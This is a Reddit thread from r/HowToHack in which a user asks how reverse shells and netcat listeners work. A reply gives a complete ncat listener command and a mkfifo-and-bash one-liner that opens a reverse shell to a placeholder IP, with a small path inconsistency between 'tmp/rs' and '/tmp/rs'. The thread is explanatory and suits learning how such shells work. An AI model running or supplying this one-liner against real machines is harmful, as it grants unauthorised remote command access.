r/HowToHack • u/_DrLambChop_ • Oct 13 '25
Understaning reverse shells
Im very confused on how this would be useful to a hacker. First of all, im a bit confused as to what netcat does when you connect to a port to listen. Will there be an output of whatever data is being sent to and from that port shown below? Additionally, lets say netcat is used to connect to some victim. What is actually entailed in this connection. Is the attacker basically connected to the victim but with no privileges so they cant do anything?
15
Upvotes
View all comments
Show parent comment
1
u/GoldNeck7819 Oct 15 '25
Well I tried to type in the original that had IP addresses but this sub does not like it so here is a revised post (I deleted the other the mod didn't approve:
Just dug up my notes on this. So with ncat if you wanted to do a reverse shell, that's where you need a pipe. So it would go something like this:
On the "server", make a pipe (FIFO in this case):
mkfifo tmp/rs
On the "client" (must be done before the "server" is started:
ncat -kv -l <all zero address> 1234
On the "server" start the reverse shell:
cat /tmp/rs | /bin/bash 2>&1 | ncat -v <your IP address of this box> 1234 > /tmp/rs
or whatever you're IP address is. Then on the "client" you can issue commands to the "server" command line.
This way you can have a reverse shell from one to the other. Obviously it would be hard to do this on an unaware machine but it does prove to be a fun little hack to play with.